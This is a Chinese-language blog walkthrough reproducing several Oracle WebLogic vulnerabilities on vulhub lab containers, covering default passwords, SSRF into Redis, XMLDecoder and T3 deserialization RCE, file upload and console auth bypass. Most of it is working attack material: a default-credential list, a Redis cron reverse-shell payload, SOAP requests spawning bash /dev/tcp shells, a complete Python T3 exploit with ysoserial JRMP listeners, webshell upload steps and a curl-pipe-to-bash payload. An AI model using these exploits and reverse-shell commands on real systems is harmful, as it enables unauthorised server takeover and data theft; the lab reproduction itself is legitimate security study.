Weblogic 漏洞复现
Weblogic 介绍
weblogic 是一款基于 javaEE 的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
Weblogic 弱密码
Weblogic 管理后台弱口令密码泄漏,管理员疏忽经常使用一些弱口令或者默认的账号密码,因此存在弱口令爆破的风险。
环境
# # 使用 vulhub 的漏洞环境
[root@vulnsec opt]# cd /opt
[root@vulnsec opt]# git clone https://github.com/vulhub/vulhub.git
[root@vulnsec weak_password]# cd /opt/vulhub/weblogic/weak_password
[root@vulnsec weak_password]# docker-compose up -d
[root@vulnsec weak_password]# docker-compose ps
Name Command State Ports
---------------------------------------------------------------------------------------------------------------------------------------
weakpassword_weblogic_1 startWebLogic.sh Up 0.0.0.0:5556->5556/tcp,:::5556->5556/tcp, 0.0.0.0:7001->7001/tcp,:::7001->7001/tcp
漏洞验证(默认口令)
weblogic 默认端口 7001,访问 IP:Port ,可以访问到 weblogic 的默认报错页面。
Weblogic 默认控制台地址:http://192.168.58.20:7001/console/login/LoginForm.jsp
利用默认的口令测试登录weblogic后台管理。
在 weblogic 控制台可能存在弱口令 weblogic常用弱口令
# 常见weblogic默认口令
- weblogic:Oracle@123
- weblogic:weblogic
- system:password
- mary:password
- admin:secruity
- system:secruity
- wlcsystem:wlcsystem
- joe:password
漏洞验证(任意文件读取getshell)
前台存在任意文件读取漏洞,在不知道账号密码的情况下,如果存在任意文件读取漏洞,可以通过此漏洞获取 weblogic 加密后的账号密码,再进行破解加密来获取密码。
任意文件下载url:http://your_ip:7001/hello/file.jsp?path=
成功将敏感文件下载了下来。
漏洞利用
weblogic 密 码 使 用AES( 老 版 本 3DES) 加 密 , 对称加密是可解密 , 只 需 要 找 到 用 户 的 密 文 与 加 密 时 的 密 钥 即 可** 。 这 两 个 文 件 均 位 于 base_domain下 , 名 为 SerializedSystemIni.dat 和 config.xml, 在 本 环 境 中 为 ./security/SerializedSystemIni.dat和 ./config/config.xml( 基 于 当 前 目 录 /root/Oracle/Middleware/user_projects/domains/base_domain)。
密文绝对路径:
/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
,相对路径:security/SerializedSystemIni.dat
密钥绝对路径:
/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
,相对路径:config/config.xml
【
SerializedSystemIni.dat
是 一 个 二 进 制 文 件 , 所 以 一 定 要 用 burpsuite来 读 取 , 用 浏 览 器 直 接 下 载 可 能 引 入 一 些 干 扰 字 符 。 在 burp 里 选 中 读 取 到 的 那 一 串 乱 码 , 右 键 copy to file 就 可 以 保 存 成 一 个 dat 文 件 , 再用 notepad 修改一下即可】
config.xml
是 base_domain 的 全 局 配 置 文 件 , 找 到 其 中 的 <node-manager-password-encrypted> 的 值 , 即 为 加 密 后 的 管 理 员 密 码(密文){AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
。
利用 提供 的解密工具进行解密。
获得密码之后,再登录 weblogic 的控制台。
后台上传webshell
点击左侧 部署->安装->上传war包->(全部下一步)-> 完成
确定部署成功后会返回访问 shell 文件的根目录路径
连接shell,执行命令
Weblogic CVE-2014-4210
前言
分类 | 详情 |
---|---|
CVE编号 | CVE-2014-4210 |
漏洞种类 | SSRF(Server-Side Request Forgery,服务端请求伪造) |
影响版本 | weblogic 10.0.2 – 10.3.6 |
漏洞url | /uddiexplorer/SearchPublicRegistries.jsp |
环境
# 使用 vulhub 的漏洞环境
[root@vulnsec opt]# cd /opt
[root@vulnsec opt]# git clone https://github.com/vulhub/vulhub.git
[root@vulnsec ssrf]# cd /opt/vulhub/weblogic/ssrf/
[root@vulnsec ssrf]# docker-compose up -d
[root@vulnsec ssrf]# docker-compose ps
Name Command State Ports
-------------------------------------------------------------------------------------------------------------
ssrf_redis_1 /docker-entrypoint.sh redi ... Up 6379/tcp
ssrf_weblogic_1 startWebLogic.sh Up 5556/tcp, 0.0.0.0:7001->7001/tcp,:::7001->7001/tcp
# 访问 http://YourIP:7001
漏洞验证
访问 http://YourIP:7001/uddiexplorer/ 不用登录就可以查看uddiexplorer应用。
ssrf 的漏洞存在于 http://YourIP:7001/uddiexplorer/SearchPublicRegistries.jsp 的位置,可以利用 burpsuite 抓包查看。
将访问的地址改成一个存在的地址:127.0.0.1:7001 如果,端口存在的话就会返回一个 status code ,如果不存在则会返回could not connect over HTTP to server 。
然后就可以根据这种情况对内网的地址和端口进行探测,确定哪些IP或端口是开放的。
漏洞利用
通过上面的漏洞,在 operator 字段处可以探测内网有哪些ip端口在通着(本地环境就直接上redis了)。
# 查看容器ip
[root@vulnsec ssrf]# docker inspect -f '{{.Name}} - {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -aq)
/ssrf_weblogic_1 - 172.19.0.3
/ssrf_redis_1 - 172.19.0.2
看响应数据,说明是redis的端口是存在的,这就已经达到了对内网探测的目的,进一步就可以对 redis服务进行攻击了。
# redis 定时任务反弹shell 命令
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/IP/8900 0>&1' \n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
# payload
# Url编码(手动将命令行末尾的 %0a 改成 '%0d%0a',redis 以通过换行符来分隔每条命令)
hacker%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2FIP%2F8900%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Alalala
上面对 payload 进行了 url 编码,但是测试的时候等了 2分钟都没弹回来,后来在最后的位置又加上了一个 “%0D%0Alalala” 之后,大概用了将近40秒shell才反弹回来。
参考文章
weblogic ssrf漏洞[CVE-2014-4210]
Weblogic CVE-2017-10271
前言
Weblogic 的 WLS Security 组 件 对 外 提 供 webservice服 务 , 其 中 使 用 了 XMLDecoder来 解 析 用 户 传 入 的 XML数 据 , 在 解 析 的 过 程 中 出 现 反 序 列 化 漏 洞 , 导 致 可 执 行 任 意 命 令 。
分类 | 详情 |
---|---|
CVE编号 | CVE-2017-10271 |
漏洞种类 | ‘wls-wsat’ XMLDecoder 反 序 列 化 漏 洞 |
影响版本 | 10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0 |
漏洞url | /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11 |
环境
# 使用 vulhub 的漏洞环境
[root@vulnsec opt]# cd /opt
[root@vulnsec opt]# git clone https://github.com/vulhub/vulhub.git
[root@vulnsec ssrf]# cd /opt/vulhub/weblogic/CVE-2017-10271
[root@vulnsec ssrf]# docker-compose up -d
[root@vulnsec CVE-2017-10271]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
1c1c071eeacc vulhub/weblogic:10.3.6.0-2017 "startWebLogic.sh" 7 seconds ago Up 4 seconds 5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp cve201710271_weblogic_1
# 访问 http://YourIP:7001
漏洞验证
手工验证漏洞
# 访问 http://192.168.58.20:7001/wls-wsat/CoordinatorPortType
出现以下界面说明存在 XMLDecoder 反序列化漏洞
访问存在漏洞页面进行抓包,利用网上的poc对漏洞验证
# poc
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
工具验证
项目地址:
验证漏洞的RCE
漏洞利用
利用漏洞写入一个shell文件
# exp
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
访问 shell 文件的位置:
http://your-ip:7001/bea_wls_internal/test.jsp
Weblogic CVE-2018-2628
前言
Weblogic反序列化漏洞(CVE-2018-2628),通过该漏洞,攻击者可以在未授权的情况下远程执行代码。攻击者只需要发送精心构造的T3协议数据,就可以获取目标服务器的权限。攻击者可利用该漏洞控制组件,影响数据的可用性、保密性和完整性。
分类 | 详情 |
---|---|
漏洞编号 | CVE-2018-2628 |
漏洞种类 | Weblogic WLS Core Components 反序列化命令执行漏洞 |
影响版本 | WebLogic10.3.6.0 、12.1.3.0 、12.2.1.2 、12.2.1.3 |
环境
漏洞环境使用 vulhub 靶场环境:192.168.58.20,
攻击机和JRMP服务机:192.168.58.29,
shell反弹机器:192.168.57.10。
# 使用 vulhub 的漏洞环境
[root@vulnsec opt]# cd /opt
[root@vulnsec opt]# git clone https://github.com/vulhub/vulhub.git
[root@vulnsec opt]# cd /opt/vulhub/weblogic/CVE-2018-2628
[root@vulnsec CVE-2018-2628]# docker-compose up -d
[root@vulnsec CVE-2018-2628]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
1c1c071eeacc vulhub/weblogic:10.3.6.0-2017 "startWebLogic.sh" 7 [root@vulnsec CVE-2018-2628]# docker-compose ps
# 访问 http://YourIP:7001
复现过程
先在本地部署一个 JRMP 服务,利用本地的 JRMP 服务生成 Payload 字符串。
# 部署 JRMP 服务
## 下载 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 包
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
## 启动 JRMP 服务
[root@mysql cve-2018-2628]# java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [JRMPPort] CommonsCollections1 [command]
'[JRMPPort] JRMP 服务的监听端口,[command] 表示要执行的命令'
[root@mysql cve-2018-2628]# java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU4LjI5LzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}'
## shell反弹的管道符不能在java识别,需要 对'bash -i >& /dev/tcp/IP/Port 0>&1'先编码再使用
这里为什么要用到 ysoserial 服务呢,原因是 weblogic 的 T3 服务会对 Object 结构进行解包,然后一步一步解包的过程中请求了 JRMP 服务封装的代码,在本地执行,导致远程代码执行。具体对java不是太熟,没能看懂大佬的方法,只能做下实验,简单理解下漏洞造成的步骤。
PoC 验证
如果只进行PoC验证漏洞存在的话,就不需要对环境进行getshell操作,验证漏洞存在,命令可以执行即可。
**第一步:**开启 JRMP 服务的监听。
# 监听 JRMP 服务
[root@mysql cve-2018-2628]# java -cp java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 JRMPClient2 'touch ~/hack.txt'
**第二步:**利用 JRMP 服务生成一个 Payload 字符串。
# 生成payload
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 [JRMPServer:Port] | xxd -p | tr -d $'\n' && echo
[root@mysql cve-2018-2628]# java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 192.168.58.29:1099 | xxd -p | tr -d $'\n' && echo
修改 poc 中的 payload_str ,然后将等待时间调指 5 s,按照实际情况调整等待时间(如果速度快不用调也没关系,有时候响应比较慢,可能就无法验证漏洞)
**第三步:**运行 poc 脚本。
# 运行 PoC
[root@mysql cve-2018-2628]# python2 wsl-cve-2018-2628-poc.py [JRMPServer] [Port]
Exp 利用
**第一步:**先在 一台机器上开启 JRPM 服务。
# 启动 JRPM 监听
[root@mysql cve-2018-2628]# java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjEuOTcuNDAvODg4IDA+JjE=}|{base64,-d}|{bash,-i}'
**第二步:**在反弹的服务器上开启端口的监听,等待exploit执行后反弹shell
# 开启反弹监听
$ nc -lvp 888
Listening on Ksec 888
第三步: 使用 exploit 进行对 weblogic 进行攻击。
# Payload
# -*- coding: utf-8 -*-
# Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)
#
# IMPORTANT: Is provided only for educational or information purposes.
#
# Credit: Thanks by Liao Xinxi of NSFOCUS Security Team
# Reference: http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
#
# How to exploit:
# 1. run below command on JRMPListener host
# 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
# 2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
# e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
# 2. start a listener on attacker host
# e.g. nc -nlvp 4040
# 3. run this script on attacker host
# 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
# 2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
# e.g.
# a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
# b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)
from __future__ import print_function
import binascii
import os
import socket
import sys
import time
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')
def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')
if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()
dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
[root@mysql cve-2018-2628]# python exploit.py 192.168.58.20 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.58.29 1099 JRMPClient2
本来使用的 子系统的linux 网络连接有问题,没能反弹回来,换了一个同网段的就没问题了。
Weblogic CVE-2018-2894
漏洞概述
Weblogic 开启了 Web Service Test Page(web服务测试页面),这个配置默认在生产模式下是不开启的,由于管理员没注意开启了这个页面就可能造成任意文件上传。
分类 | 详情 |
---|---|
漏洞编号 | CVE-2018-2894 |
漏洞种类 | 任意文件上传 |
影响版本 | weblogic 10.3.6、12.1.3、12.2.4、12.2.1.3 |
漏洞url | http://your-ip:7001/ws_utc/config.do |
环境搭建
# 使用 vulhub 的漏洞环境
[root@vulnsec opt]# cd /opt
[root@vulnsec opt]# git clone https://github.com/vulhub/vulhub.git
[root@vulnsec opt]# cd /opt/vulhub/weblogic/CVE-2018-2894
## 启动环境
[root@vulnsec CVE-2018-2894]# docker-compose up -d
Creating network "cve20182894_default" with the default driver
Creating cve20182894_weblogic_1 ... done
[root@vulnsec CVE-2018-2894]# docker-compose ps
Name Command State Ports
----------------------------------------------------------------------------------------------------------
cve20182894_weblogic_1 /u01/oracle/createAndStart ... Up 0.0.0.0:7001->7001/tcp,:::7001->7001/tcp
## 查看weblogic管理员密码(需要在管理后台开启 web service test page)
[root@vulnsec CVE-2018-2894]# docker-compose logs | grep password
weblogic_1 | ----> 'weblogic' admin password: w6nL6IyJ
weblogic_1 | admin password : [w6nL6IyJ]
weblogic_1 | * password assigned to an admin-level user. For *
# 访问 http://YourIP:7001
登录后台管理,开启 Web Service Test Page 。[ 登录 --> base-domain -->高级 --> 开启 web测试页 --> 保存 ]
复现过程
先打开漏洞页面,漏洞页面是一个未经授权的文件上传页面(第一次打开环境需要部署一下)。
根据网上看到的wp说需要更改下工作目录,将当前工作目录修改成:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
原因是因为这个目录不需要权限就可以访问。
点击 添加 然后上传一个 jsp 的大马(当然这些我不会写~)。
访问木马的地址是:http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名]。
时间戳可以在页面源码中找到,也可以使用burp抓包看。
上传的小马,用冰蝎或其他工具就可以连接,也可以直接在页面执行命令,维权的话就另说。
命令成功执行了。
Weblogic CVE-2020-14882/14883
前言
cve-2020-14882(代码执行漏洞) ,在打完补丁后又出现了补丁被绕过的漏洞 cve-2020-14883(权限绕过漏洞),远程攻击者可以配合这两个漏洞构造特殊的HTTP请求,在未经身份认证的情况下接管 Weblogic Server Console,在控制台中执行任意代码。
分类 | 详情 |
---|---|
cve编号 | cve-2020-14882 |
漏洞种类 | 代码执行漏洞 |
影响版本 | Oracle:Weblogic : 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
分类 | 详情 |
---|---|
cve编号 | cve-2020-14883 |
漏洞种类 | 权限绕过漏洞 |
影响版本 | Oracle:Weblogic : 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
环境
# 使用 vulhub 的漏洞环境
[root@vulnsec opt]# cd /opt
[root@vulnsec opt]# git clone https://github.com/vulhub/vulhub.git
[root@vulnsec opt]# /opt/vulhub-master/weblogic/CVE-2020-14882
[root@vulnsec CVE-2020-14882]# docker-compose up -d
[root@vulnsec CVE-2020-14882]# docker-compose ps
Name Command State Ports
-----------------------------------------------------------------------------------------------------------
cve202014882_weblogic_1 /u01/oracle/createAndStart ... Up 0.0.0.0:7001->7001/tcp,:::7001->7001/tcp
# 访问 http://ip:7001/
PoC 验证
访问
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=JmsSAFAgentSAFAgentTablePage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
。可以发现不需要登录后台就可以直接访问
漏洞主要在 handle 参数,这个参数是传入java代码执行。(本来用 dnslog 验证的,发现验证没有反应,后来到容器中看了一下,下面就是原因)
# PoC
GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping%206sto77.dnslog.cn%27);%22);
靶场环境中没有 ping 命令,可以换一种验证方法,比如用 touch 命令或者其他命令,我这里使用 python3 启动了一个简易的 http 服务,这样命令如果执行成功,我这边也可以直接看到,不需要到漏洞环境中去验证(如果是实战环境,是没办法去看是否执行成功的)。
# requeste
## 注意:Cookie 值是必须要有的,访问console抓个包就行。
GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27curl%20-v%20http://IP:Port/index.html%27);%22); HTTP/1.1
Host: 192.168.10.10:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Referer: http://192.168.10.10:7001/console
Cookie: ADMINCONSOLESESSION=P8wom0qoRI2KHAUMeeHPLe67eaQZ8rfITEjcresISbrKpgjITPhr!1534103033
Connection: close
第一次发送的时候有 302 重定向,点击 Follow redirection 跟随重定向,页面会出现404报错,但是命令是执行成功的
漏洞利用
反弹一个shell利用一下这个漏洞。将反弹shell的命令写在一个http服务下的文件上,使用 靶机上的 curl 命令读取文件内容再管道给bash执行命令。
# payload
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20IP:Port/bounce_shell.html|bash');")
不知道什么原因,这个方法没能反弹成功,本地执行是没有问题的。
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/articles/16582231.html